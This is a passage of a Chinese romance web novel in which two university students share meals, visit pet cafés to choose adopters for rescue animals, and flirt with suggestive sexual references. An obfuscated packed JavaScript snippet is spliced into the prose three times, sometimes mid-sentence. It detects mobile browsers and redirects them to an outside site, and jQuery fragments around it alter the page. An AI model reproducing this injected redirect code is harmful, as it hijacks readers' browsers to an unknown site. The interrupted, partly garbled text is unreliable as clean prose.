他看到夏洄先出了艺术楼,他没有跟上去,相反,他要等着贺铭非出来,好好谢谢这个不知道为什么说谎的傻逼。 贺铭非骂他有病没关系啊,只要一想到来日这傻逼知道真相的反应就想笑。 - 秋雨来得突然,哗啦就下大了。夏洄站在食堂一楼屋檐躲雨,他也在等路柏言一起吃饭。 长这么大,夏洄的朋友并不多,一只手就能数过来。小时候习惯了一个人闷在家里完成爸妈布置的任务。后面定居在京州,三个发小也够了,这些年基本没再怎么交过新朋友。 没想到现在他能对认识不到一个月的人信任到告诉他一些心里话。 虽然有酒后吐真言的成分在里头,但他感觉自己慢慢控制不住想和路柏言分享些什么。 他和路柏言很多地方相似,挺有缘分的。 这场突如其来的雨还越来越大,夏洄以为路柏言是从宿舍楼过来,应该会打伞。 结果他是冒着雨从相反的方向过来,好像是他从艺术楼过来的方向。 “这么大雨,你怎么还跑过来?” “见你当然得用跑的。” 路柏言套着卫衣兜帽,脸上被打湿,衬得浓黑的粗眉和瞳仁水亮,直勾勾盯着夏洄笑,明明刚淋了雨该是冰凉,眼神深处却是一片炙-热。 夏洄摸了下肚子,“好饿,我们赶紧去吃饭吧。” 他往食堂里面走,坐自动扶梯去三楼吃自助,扭头看跟在身后的路柏言。他没那么高,还得抬头看。 身高一直是男生绕不开的话题,网上人均一米八,夏洄也想说自己一米八,但还差个二三厘米。 他老家是南方沿海城市,爷爷就在那当海军。贺铭非也很高,每次夏洄和他站在一起觉得自己特矮。贺铭非老家是东北的,迁到京州来了,他说东北男女人均都很高,这是基因。 路柏言口音和他一样有点京州味,但不像是本地人。 他问路柏言是哪里的人。 路柏言说了个他没听过的地名。 夏洄是理科艺术生,全国的城市名都没记全,他又不考也用不到。他觉得他没必要记,记清舞蹈和曲谱这些对他来说很重要的东西就行。 夏洄下意识认为这个地名是二线或三线城市。路柏言气质矜贵,还和他住在同小区,他们小区房租在本市算高价了。 其实这是个很偏僻的小山村。路柏言在那出生。他每周会在顾放的酒吧打工,加上还有点高中奖学金和游戏分红的积蓄,暂时可以负担学费生活费和小区的房租。 不过也是勉强,所以目前在写第二款小游戏的代码。他得多赚些钱,以后要是和夏洄谈恋爱,花销难免要大起来了。 这个地方听着很有诗意,像南方才有的。夏洄又感受到了身高的硬伤痛,嘀咕起来:“都是南方的,怎么你这么高。” 路柏言站在低一节的阶梯,抬起双手来就能把夏洄揽到胸膛搂住。他想起了好哥们说过的最萌身高差。 “我爸是北方的。”他其实没去了解过,毫无兴趣,可能不是北方的,他只是想安慰夏洄。 夏洄爸妈都是南方人,他点点头,这才释然,“难怪,果然是基因问题。” 不是他小时候总被关在家里不晒太阳的原因。 已经过了饭点,食堂人不多,距离远的三楼更是没多少人。三楼的自助种类繁多,夏洄经常来这里吃,可以自由搭配减脂餐。 餐盘统一在窗口斜后方的柜子里,路柏言走过来递给夏洄一块餐盘。 夏洄端着空餐盘,很熟练地往盘子里夹了些意面,然后是手撕包菜、水煮芽白,最后纠结了一会儿,在眼花缭乱的荤菜里添了一格煎三文鱼。 路柏言记得上次在食堂看见夏洄吃的是全素麻辣拌。 不过这段时间的夏洄可比高中长肉了些。 高中有次刮台风,乌云低沉,黑压压朝教学楼逼近,夏洄和很多人一样,站在疾风骤雨的阳台上,学生就喜欢这样的天气,因为可以停电,可以呐喊、狂欢、发泄,不过路柏言觉得夏洄站在那很危险,侧影那么单薄,好像随时随地要被大风卷跑了。 现在有了固定的贴贴人,参赛的舞蹈也确定下来了,夏洄没那么焦虑到暴饮暴食。他要减掉一点体重,舞蹈动作里有空翻跳跃,长肉了做起来没那么轻盈了。 夏洄吃饭细嚼慢咽,初中决定走舞蹈生路线后,他像是厌食症患者,一碗饭挑挑拣拣能吃一小时,最后还没吃完。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749426|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他和路柏言面对面坐着,两个人吃饭安静,他无意抬头看了对面,路柏言吃饭斯斯文文,没有在海里举高抱他时手臂和大腿肌肉膨胀起来的粗犷感。 事实上,他现在一看,路柏言穿着宽松的深色卫衣,除了肩膀宽阔,看上去不像是肌肉很发达,但托举他的腰身力量又很足。 他不确定是不是喝醉了产生的幻觉。 路柏言吃饭的动作迟疑下来,夏洄饭也不吃了,盯着他看。 “……我脸上有东西?”路柏言抬手左右碰了嘴角,也没沾饭粒。 夏洄没有盯人被抓到的窘迫,他往路柏言的方向凑近点,呼吸近在咫尺,“你有没有兴趣当我的模特啊,我想给你画画。” “贺铭非也当过你模特?” “他肯定当过啊。”三个发小都当过他绘画模特。 路柏言往后退,放下筷子,脸色不太好看:“裸-模?” “这倒没有,你要是愿意的话,我也可以给你画一幅这样的,我保证不给别人看。” 路柏言又拿起筷子,身体贴回来,“没什么不愿意的。” 夏洄哇了声:“你接受度蛮高的诶,要不是你学计算机的,我还以为你是艺术生。” 他和身边的艺术生对性并不羞耻。他在国外一个小镇旅游时,在街头碰到个人体模特,那人在光-裸的躯体上绘画宣传环保,他和其他路人一样驻足欣赏,对方的人体彩绘属实不错,能感受到热烈的情绪。 路柏言抬眼看向夏洄:“我其实很保守。”所以被喜欢的人抱一下,亲一下额头都会像要死掉那样心跳加速。 “是你的话就可以,什么都可以。” 夏洄郑重其事地点点头:“我知道了,我肯定不会给别人看的。” 他浓密的眼睫撩起来,对路柏言wink一下,他五官清冷,做这个动作简直是在勾人偷吃禁果。 他表情淡然,偏偏还在隐秘的桌底下用膝盖去碰路柏言的大腿,轻轻地。 这样对方就乱了心。 “你说什么都可以,那是不是我说什么你都会听我的?” 路柏言点头。 夏洄也点头,然后就不说话了,拿起筷子继续吃。 他在想让路柏言下次吃他胸的事。 不知道是不是渴肤症的缘故,还是路柏言真的很会舔,就……蛮舒服的。 22. 阿拉斯加 第22章 救助站的猫狗越来越多,最近校外一家猫狗咖联系了夏洄。 猫狗咖是刚毕业的哲学系学长创业办起来的,去年刚办理,短短一年在大学城的另一边开了家连锁店。 夏洄问学长办猫狗咖的初衷是什么。学长不知道是开玩笑还是心里话,他说:因为找不到工作啊。 学长当时表情低落中有两分自嘲,夏洄现在对找工作毫无概念,但他好歹知道他们学校知名度数一数二,就业竞争应该不差啊。 学长面无表情:“文科专业是这样的。” 夏洄出于礼貌刚想安慰一两句,学长接着说:“要不是家里还有点钱给我啃老,早饿死了。” 夏洄只当学长幽默,毕竟学长的猫狗咖店规模越来越大。 学长这次联系夏洄是想领养救助站的猫狗。并给出了一系列心动的条件。 他也知道,救助站的猫狗被夏洄养得很好,毛-发-漂亮,脾气乖顺却各有各的特点,和人的互动性也强,放在猫狗咖店再好不过了。但不只他一家店在竞争领养的名额。 为了挑选合适的领养者,夏洄这周末打算去每个有领养志愿的猫狗咖店实地考察,他不会因为是学长而有倾向。 猫猫狗狗是他和救助站的大家养了一年多的儿子女儿/弟弟妹妹,找个好归宿是理所应当的。 这样一来,夏洄只能推掉周末和贺铭非的爬山。 他其实也有点不想和贺铭非单独去了。如果多两个人还好。 可能是大数据的缘故,他刚和贺铭非说完那些话,手机就给他推送了一则帖子“和朋友告白失败后处境是不是很尴尬?” 他点进去看,评论区几乎都在说: “绝对会很尴尬。你和ta都尴尬。” “所以这才是不要轻易和朋友告白的原因。” “以后尽量不要两个人待在一起吧,找多点人玩,就不会那么尴尬了。” 他的确有点尴尬,第一次被人拒绝。转念一想,还好先问清楚了,不然以后和贺铭非继续搂搂抱抱被别人看见了,他就不好找女朋友了。 夏洄和贺铭非说明了周末要去实地考察,不能陪他去爬山了,下次可以找丽姐他们一起去。 还说马上要校庆了,学生会挺忙的,让贺铭非先忙筹备校庆的事。 话都堵死了,贺铭非只能回复个好。 然后反反复复“正在输入中”,最后也没有发过去。 他和夏洄这学期都挺忙的,寒假回家再说吧,他们是邻居,寒假黏在一起这件事就过去了。 夏洄退出和贺铭非的聊天框,在救助站大群里发了这周末需要有人陪他一起去实地考察的消息,一个人就好。 刚发出去,下面就冒出来一个“1”。 路柏言发的。 夏洄跳下床,挤进拖鞋跑到阳台,在月光下对着路柏言家喊了他两声。 路柏言刚出浴室,还以为又是幻听,系好浴袍来到阳台,正好看到夏洄伸长脖子对这边喊。 他穿着鹅黄色带绒的秋季睡衣,伸长的脖颈在月亮下白得有一层毛茸茸的光。 夏洄穿过几次粉衬衫,似乎偏向于喜欢靓丽的颜色。 夏洄把人喊出来了,离得近就是这么方便。他说:“你周末和我要出去一整天,贝宝怎么办?上次他突然跳到我这里,应该是无聊了,他一个人待在家里可以么?” 晚风冷吹,路柏言发梢滴着水,他用毛巾擦着头发,半边侧脸对着夏洄,可以看到他凌厉的下颌线,以及往下一点,浴巾遮盖不住的胸肌,线条清晰饱满,力量感蓬勃。夏洄盯着那看。 艺术生天生追求美。夏洄在国外旅游时,暂住在一位雕塑系在读的表哥的单身公寓里。有次回来开门就撞见一个裸-模躺在沙发上,表哥正按照他的身材参考雕塑。他身材不错,不过那几天夏洄再也没坐过那张沙发。 这段时间会越来越忙,裸-模的事可能得到比赛后再来说。 “我让顾放帮忙照顾一天。” 路柏言这么说着,注意到了夏洄的目光,那样放肆热烈。他喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749427|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结滑动,拢了拢浴巾,双腿往阴暗的地方后撤两步。 “……有点冷了。” “没事,我家暖气很足。”下次脱光了也不会冷。 路柏言深深闭了闭眼,他给自己挖了个坑,到时候要怎么压得住槍。一直敬礼的话,夏洄会觉得他不是变态就是傻逼。 更何况,他当时脑子一热就答应了,完全忘记脱下衣服他就是个丑八怪。 周六这天天气晴朗,这次实地调查要去四个不同的店,绕来绕去,在这样的大晴天必然要出汗,更累,但夏洄最喜欢晴天,能量满满。 他和路柏言在过道电梯门前碰面。 路柏言低头看了眼夏洄今天的穿搭:绿白拼色圆领长T,浅色工装裤,肩上揣个粉色背包,青春活泼,看得出来今天心情很好。 夏洄喜欢晴天,他喜欢雨天。雨天总渴望着晴天。 路柏言摁了电梯,偏头看向和他站在一起的夏洄。 “庄丽没找过你当工作室的模特么?” 前几天庄丽和他说了工作室合作的事情。 他解开了那时的误会,是他想多了,没有给他撮合别人。夏洄心思难猜,但说话直白,其实并没有心眼。 夏洄摇头,“她工作室的男装风格偏野性,按她话来说,比较适合校霸、狼狗类型的男生,不太适合我。” 路柏言轻轻笑了,试探夏洄对他的印象,“我看着像这种类型?” 夏洄看了他一会儿后定论,“你像阿拉斯加,沉稳忠诚,还很聪明。” 路柏言照片给人的感觉霜冷,像来自很冷的地方,实际接触起来却很暖心,一点都不冷。就像来自寒带的阿拉斯加。 “还很大只。” 电梯正在下降,夏洄抱住了高而挺拔的路柏言,整个人埋进他胸膛。 路柏言低头轻嗅夏洄散发柠檬香的发丝,偷亲一口,嘴角噙着意味深长的笑: “阿拉斯加很需要主人的陪伴,要主人的很多很多时间。” “所以尽管吩咐我吧宝宝。” 23.奶窗 第23章 夏洄从出生后始终在群体里处于中心地位。 既然路柏言这么说了……夏洄双手在他脊背上收紧,贴他更近。 “那我就不客气了。我也会对你很好的。” 夏洄没想到今天的太阳挺毒,他走出单元楼,劈头盖脸的强烈太阳光刺得他一下子眼睛睁不开。 一顶鸭舌帽盖住他脸,是路柏言从头上取下来的,夏洄调整了帽檐高度,抬眼去看路柏言,路柏言眼神像是在问怎么? ……没什么,就感觉很自然。好像他们认识好久一样。 他们上了辆网约车,两个人一起坐在后排。路柏言坐在车里跟小山似的,夏洄默默地把帽子摘下来了,想起室内戴帽子会变矮的说法。 这种无伤害的说法宁可信其有不可信其无。 他们要去的第一家志愿店是哲学系学长的,离得最近。 车子经过了七中,他们的母校。 今天周六,高三补课的学生陆陆续续赶来上第一节课。他们穿着蓝白撞色的校服,在校门撞见熟人彼此打招呼,阳光下结伴而行,说说笑笑。 夏洄隔着车窗指着校门口那家竹筒烤饭的小摊,流露出怀念,“他家竹筒饭超级好吃,我每周都来吃上一两次,奇怪怎么都吃不腻。” 而且也很卫生。夏洄的胃比较敏感,要是小摊稍微不卫生,他就要拉一天肚子,去医院才能好。 体质太虚,从小生了很多病,稍有不注意就病了,哥哥姐姐到现在还打笑他是什么瓷娃娃。 “我知道。” 夏洄扭过头,眼睛睁大,“嗯?” 知道他经常来吃竹筒饭?但他们不认识吧,撞见一两次还好。 “竹筒饭旁边有个烤肠摊,他和竹筒饭老板固定在那摆摊,很多次我和顾放去买烤肠,撞见你在旁边买竹筒饭。” 路柏言淡定,仿佛他当时真的是去买烤肠的。 “看不出来你还喜欢吃烤肠。” 夏洄视线划过路柏言胸前,练到那种程度,应该很自律吧。贺铭非就很少吃垃圾食品,每天坚持锻炼。 路柏言往旁边坐了点,和夏洄拉开些距离,本来夏洄身上的气息就足够让他心猿意马。 “没想到你……”路柏言斟酌用词,“还挺热情。” 初高中,乃至一个月前,他总渴望夏洄能注意到他。可惜夏洄冷淡又忙碌,身边还有别人。 现在倒是真注意到他了,就是眼神怎么往脖子下走了? 而不是看着他的脸,和眼睛。 他总爱看着夏洄的眼睛。他想夏洄的眼里只有他。 夏洄:“我发小也这样说过我,他们刚开始以为我是爱搭不理的,玩久了发现我心肠其实挺热。” “……那你对贺铭非——” 一直沉默的司机乱入:“到了哈小伙子。” 他们到了学长的店,现在不到早上九点,学长刚刚开门营业。 夏洄推开玻璃门,头顶风铃声阵阵悦耳。 一头脑袋巨大的“狼”对他挥舞同样巨大的“狼爪”,突然出现,夏洄有点被吓到,但还是挥挥手,面露迟疑,“学长?” “狼”点点头,他戴着狼头套,白衬衫外是深灰马甲,这副模样其实不突然出现的话一点不吓人,反而格外优雅随和。 “福瑞控狂喜。” 路柏言站在夏洄身后,这句话让他挑了下眉,“你是福瑞控?” 夏洄摇头,“有一年被我姐拉去漫展当苦力,学到了这句话。” “那个明星姐姐?” 这件事本该是姐弟俩的秘密。夏洄凑近路柏言,用只有他们俩能听到的声音说,“……对,我当时和她玩游戏输了,被迫签下丧权辱国的条例,答应在漫展上cos她喜欢的动漫角色。” 夏洄想起了什么,脸颊微红,路柏言心头一动,“是什么样的角色?” 顾放混二次元的,经常参加漫展,路柏言陪他去过两次,帮忙站队买谷子等亲签。他看到过有些角色的服装挺凉快的。 一向在肢体接触上肆意妄为的夏洄这会儿难得的羞耻脸红让他不得不多想。 那个角色是某款二游里一个白毛傲娇正太,正好眼珠子就是蓝色的,还省得夏洄戴美瞳了。 夏洄声音小了许多,几乎等于嗫嚅,路柏言贴得很近才听清:“就……他有奶窗。” “嗯……上次晚上你应该看到我前面那里有粒小红痣。那天去漫展他们都和我说,老师好涩好骚……我本来进去很坦然的,结果走到哪儿很多人就光盯着奶窗那看,嗯,然后,还没结束呢我就跑掉了。” 他姐戴着面具追在他身后,在车上捁着他脖子,笑得前倒后歪,嘎嘎乱笑,没个女明星的模样,说他原来也会害羞啊。 从此之后这件事就成了夏洄挥之不去的阴影,现在和路柏言说出来了阴影小了许多。 奶窗这个词路柏言原来是不懂的,听夏洄的描述,他懂了。 海边醉酒那天晚上,他不知道夏洄家里的密码,只能把人带回家里。喜欢的少年在他的床上扯开衣服挺着胸送到他面前,他能忍得住真是该去应聘上忍了。 在清淡的月光下夏洄锁骨往下的那粒小痣妖冶惑人,像是颓靡的玫瑰花瓣被大力揉碎后汁液滴进白皙削薄的皮囊,更想让人大力揉撮吞吃。 更别说单独在衣服上框一个奶窗,这不是在告诉别人,他那里最好吃么? 学长毕业时夏洄才刚入学,他对夏洄的了解不多。在学校公众号和视频号里看过这位背靠艺术世家,多才多艺的学弟。 他和其他店员一样,以为他们是情侣。 这体型差身高差,贴在一起怪甜的,他们姨母笑,倒也没打扰。 “狼”先生给他们倒了咖啡,狼皮套表情微微带笑,亲切随和,配上挺拔服帖的西装,还用狼爪给你端咖啡,小心翼翼里蕴含润物细无声的温柔。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754520|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏洄有点知道学长的猫狗咖店红火的理由了。 陆陆续续有顾客进来,撸猫逗狗,猫狗人一片欢乐祥和。猫狗没有被迫营业的无力感。 他们从学长的店里出来,夏洄在ipad表格上打个勾,现在不到十点,他们还要去三家店考查。 中午两个人在第二家店附近的中餐店吃了饭,居然有白灼大虾,夏洄果断点了。 他还点了一份葱烧鸡,但是上菜后发现没有去皮。 他低头用筷子把鸡皮剃掉,完全剃干净后一口包掉,半边脸鼓起来咀嚼时看到手边的小瓷盘里摆着几只路柏言刚剥好的大虾。 他快速咽下嘴里的鸡肉,夹起一只剥干净的大虾,放在调味汁里过一遍,一口包掉,对路柏言笑了笑。 他真正笑起来时眼睛弯弯,愉悦的弧形。 以前会说谢谢,但现在路柏言很客气地说对他做什么都可以,那他再客气就不太好了吧。 夏洄不喜欢吃米饭,如果菜好吃,他顶多吃那么几口米饭。他嘴里嚼嚼嚼,不知不觉吃掉了盘里所有剥好的虾。 路柏言手里还在剥另一只,夏洄舔舔唇在等,路柏言肩膀颤颤,实在没忍住笑了出来。 夏洄问他笑什么,不是生气,纯属好奇。 路柏言把新剥好的虾在调味汁里滚一圈,就着一次性手套递到了夏洄嘴边。 他笑没别的意思。据他几年的暗中观察,夏洄偏爱的东西里有白灼大虾。 他不喜欢吃,和顾放出去吃饭,顾放要是点了虾,他把那一盘大虾都剥掉,当练习。 顾放不知情,既感动又瑟瑟发抖,好哥们不会终于意识到追到夏洄的希望渺茫,然后移情别恋到相处最深的他身上了吧? 结果那天晚上他在游戏里被路柏言追着单杀50余次,就完全没这种错觉了。 夏洄隔着一次性手套含住了那只虾,顺带舔掉了手套上欲滴的汁水,舌尖隔着薄膜刮过路柏言的指腹。 路柏言唇线抿紧,立马把手收回来,发丝下的耳尖冒了些许红。 隔着薄膜,很热,湿乎乎的。 “你都没自己吃过,他家的调味汁还挺入味的。” 夏洄看向那盘虾,呃,现在只剩那盘了。 虾呢?!他一个人全吃完了?! 他嘟囔:“……唯一的缺点就是量太少。” 假装没看见路柏言手边堆成小山的虾壳。 - 从第四家店出来时太阳快落山了。 路柏言走在前面,夏洄不知不觉落后了,他低头看着手机里新发的消息,看了许久。 再抬头时,落幕的日光打在他天生清冷的五官上。 心里装着事,他没注意到脚下的阶梯,要向前倾倒时路柏言大步过来接住了他,两个人唇碰到了一起。 路柏言的唇削薄,夏洄的唇比较多肉,碰到一起,路柏言感觉自己被微甜柔软的东西突然包裹住了。